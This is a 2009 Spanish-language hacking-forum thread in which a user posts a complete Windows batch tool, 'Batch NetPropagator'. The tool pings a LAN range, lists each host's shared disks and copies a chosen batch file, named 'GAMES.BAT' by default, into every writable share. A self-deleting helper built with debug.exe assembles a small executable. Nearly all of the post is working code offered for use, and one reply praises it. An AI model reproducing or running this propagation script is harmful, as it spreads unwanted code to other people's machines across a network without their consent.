elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [BAT] Batch NetPropagator 1.0 BY 3D1 (Propaga un Batch por toda nuestra RED)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [BAT] Batch NetPropagator 1.0 BY 3D1 (Propaga un Batch por toda nuestra RED)  (Leído 3,136 veces)
EddyW

Desconectado Desconectado

Mensajes: 187



Ver Perfil WWW
[BAT] Batch NetPropagator 1.0 BY 3D1 (Propaga un Batch por toda nuestra RED)
« en: 30 Mayo 2009, 06:41 am »

Batch NetPropagator 1.0 BY 3D1

Bueno, como su nombre dice, esta es una aplicacion echa totalmente en Batch (No use VBS XD) Que propaga..
nuestro Batch atraves de toda nuestra Red sea lan o de dominio, por el momento es una version Beta..
ya le incluire mas opciones despues...

Ahora lo que hace es copiar el code de nuestro batch atraves de todas las carpetas compartidas de las PCs que estan en nuestra Red..
Como es BETA tiene pequeños inconvenientes, pero no afectan en nada el funcionamiento..
Aclarando algunas cosas antes de ver el code:
El Batch pide que se ingrese el tipo de direccion IP, por el momento si o si debemos de introducir 3 digitos en cada caja de texto..
Osea si quiero copiar el bacth a todo el rango de este tipo de ip:
Citar
192.168.1.X
Entonces en el Batch se usara asi:
Citar
192.168.001.X
Espero se haya entendido, y la "X" ya viene no es nesesario escribirla..

Bueno sin mas que decir, dejo el code, y ya pueden postear sus comentarios, dudas o lo que sea  ;D
Código
  1. @Echo Off
  2. @Title .:: Batch NetPropagator 1.0 BY 3D1 ::.
  3. @Mode con cols=44 Lines=15
  4. @Color 0A
  5. If Exist Report.txt (Del /Q Report.txt>nul 2>&1)
  6. If Exist Key.exe (Del /Q Key.exe >Nul 2>&1)
  7. If Exist Keyboard.dat (Del /Q Keyboard.dat>nul 2>&1)
  8. (
  9. Echo ^(
  10. echo Echo n keyboard.dat
  11. echo Echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
  12. echo Echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
  13. echo Echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
  14. echo Echo 002E
  15. Echo ^)^|Debug
  16. Echo Ren keyboard.dat Key.exe
  17. Echo Del %%0
  18. )>AddK.bat
  19. Start /MIN Cmd /c Addk.bat
  20. CLS
  21. Echo Please Wait...
  22. Ping -n 2 0.0.0.0>nul 2>&1
  23. Mode con cols=44 Lines=15
  24. :new
  25. Set "Txt="
  26. Set "ips="
  27. Set "ip="
  28. Set /a uip=255
  29. Set /a iip=0
  30. Set Sp=                    ....
  31. Set "ip0="
  32. :form
  33. Set "ipt=%ip0%%Sp%"
  34. Set "ip1=%ipt:~0,3%"
  35. Set "ip2=%ipt:~3,3%"
  36. Set "ip3=%ipt:~6,3%"
  37. Cls
  38. Echo          ESCRIBA LA DIRECCION IP:
  39. ECHO          ÉÍÍÍ» ÉÍÍÍ» ÉÍÍÍ» ÉÍÍÍ»
  40. echo          º%ip1%º.º%ip2%º.º%ip3%º.º * º
  41. Echo          ÈÍÍͼ ÈÍÍͼ ÈÍÍͼ ÈÍÍͼ
  42. echo  Copyright (3D1) 2009 - Derechos reservados
  43. echo  îîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîî
  44. echo            Hacking And Security
  45. echo            îîîîîîîîîîîîîîîîîîîî
  46. Key
  47. IF %ERRORLEVEL% == 48 (set ip0=%ip0%0)
  48. IF %ERRORLEVEL% == 49 (set ip0=%ip0%1)
  49. IF %ERRORLEVEL% == 50 (set ip0=%ip0%2)
  50. IF %ERRORLEVEL% == 51 (set ip0=%ip0%3)
  51. IF %ERRORLEVEL% == 52 (set ip0=%ip0%4)
  52. IF %ERRORLEVEL% == 53 (set ip0=%ip0%5)
  53. IF %ERRORLEVEL% == 54 (set ip0=%ip0%6)
  54. IF %ERRORLEVEL% == 55 (set ip0=%ip0%7)
  55. IF %ERRORLEVEL% == 56 (set ip0=%ip0%8)
  56. IF %ERRORLEVEL% == 57 (set ip0=%ip0%9)
  57. IF %ERRORLEVEL% == 27 (Exit)
  58. IF %ERRORLEVEL% == 13 (Set ip=%ip1%.%ip2%.%ip3%&CLS&Goto :Code)
  59. IF %ERRORLEVEL% == 8 (SET ip0=<NUL&&set ip0=%ip0:~0,-1%)
  60. Goto :form
  61. :Code
  62. Mode Con Cols=80 Lines=25
  63.  
  64. Set "nameb=GAMES.BAT"
  65.  
  66. If Exist "%nameb%" (Del /Q "%nameb%" >nul 2>&1)
  67. CLS
  68. Echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ  Batch NetPropagator 1.0 BY 3D1 [BETA]
  69. Echo       Escriba o pegue el codigo fuente del batch que se copiara a los..
  70. Echo       Archivos compartidos de los Equipos de su Red..
  71. Echo       Para Terminar presione [Ctrl + Z]+[Enter]
  72. Echo       Nombre Predeterminado  [GAMES.bat]
  73. Echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
  74. Copy Con "%nameb%" >nul 2>&1
  75. If Not Exist "%nameb%" (Goto :Code)
  76. Set /P"=> Estas Seguro que deseas Guardar el Code? [Y/N]"<nul
  77. :stas
  78. Key
  79. if "%errorlevel%" == "121" (Goto :Bucle)
  80. if "%errorlevel%" == "89" (Goto :Bucle)
  81. if "%errorlevel%" == "110" (Goto :Code)
  82. if "%errorlevel%" == "78" (Goto :Code)
  83. Goto :stas
  84. :Bucle
  85. Mode con cols=45 Lines=16
  86. Cls
  87. ping -n 1 -w 0 %ip%.%iip%|Find "perdidos)">STATEIP.DAT
  88. Set /p state=<STATEIP.DAT
  89. If Exist STATEIP.DAT (Del /Q STATEIP.DAT>nul 2>&1)
  90. If "%state%" == "    (0%% perdidos)," (Echo Conect to: %ip%.%iip%&Echo Conect to: %ip%.%iip%>>Report.txt&Set "ips=%ip%.%iip%"&Call :netview)
  91. If "%iip%" NEQ "%uip%" (
  92. Set /a iip=%iip%+1
  93. Goto :Bucle
  94. )
  95. If Exist Report.txt (Start Notepad Report.txt)
  96. Set /p"=>Presione Tecla para Salir [KEY]"<nul
  97. Pause>nul
  98. Goto :Eof
  99.  
  100. :netview
  101. If Exist GetFileName.dat (Del /Q GetFileName.dat>nul 2>&1)
  102. For /f "Tokens=*" %%_ in ('Net View \\%ips% 2^>^&1^|Find "Disco"') do (
  103. for %%A in (%%_) do (
  104. if "%%A" NEQ "Disco" (
  105. Set /p=%%A >>GetFileName.dat<nul
  106. Ping -n 0 0.0.0.0>nul
  107. )
  108. )
  109. Call :add
  110. )
  111. Goto :eof
  112. :add
  113. Set /p F=<GetFileName.dat
  114. If Exist "\\%ips%\%F% " (
  115. Echo  + Copy To : %F%
  116. Copy "%nameb%" "\\%ips%\%F:~0,-1%" >nul 2>&1
  117. Echo  + Copy To : %F%>>Report.txt
  118. ) ELSE (
  119. Echo  - Copy Not: %F%
  120. Echo  - Copy Not: %F%>>Report.txt
  121. )
  122. If Exist GetFileName.dat (Del /Q GetFileName.dat>nul 2>&1)
  123. Goto :eof
El Batch copia por ejemplo en un rango asi: 192.168.000.1 asta 192.168.000.255 y la verdad es rapido.. ;)
verifica si la IP existe o no, para hacer mas rapido el code..
y crea un "Report.txt" con los reportes de cada coneXion y ha que carpetas se copio y ha cuales no..

Ha y se me olvidaba si desean parar el Batch preionar las teclas Ctrl + C..
Espero les guste.., espero sus comentarios..
SaluDOS!!!   ::)


En línea

h0oke


Desconectado Desconectado

Mensajes: 2.059


Coder ~


Ver Perfil WWW
Re: [BAT] Batch NetPropagator 1.0 BY 3D1 (Propaga un Batch por toda nuestra RED)
« Respuesta #1 en: 30 Mayo 2009, 20:05 pm »

Exelente trabajo, por lo visto al parecer funciona. Lamentablemente no tengo máquinas en red sino lo probaría.

Salu2!


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Batch] Mata-Pestañas (Batch o similares)
Scripting
klaine 2 3,719 Último mensaje 1 Abril 2011, 22:09 pm
por klaine
[BATCH-VBS]Pasar datos desde Batch A VBS. « 1 2 »
Scripting
FranciskoAsdf 12 9,289 Último mensaje 22 Abril 2011, 23:19 pm
por xassiz~
[Batch] Escaner de redes BATCH
Scripting
lagranladilla 0 3,361 Último mensaje 9 Mayo 2012, 11:32 am
por lagranladilla
[BATCH]hackxcrack batch encriptador « 1 2 »
Scripting
r@mbyte 19 14,400 Último mensaje 7 Diciembre 2012, 20:14 pm
por Eleкtro
[Batch] Insertar un batch dentro de un batch que fabrique un .txt
Scripting
$pedrojo2704 2 5,466 Último mensaje 23 Agosto 2012, 10:08 am
por $pedrojo2704
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines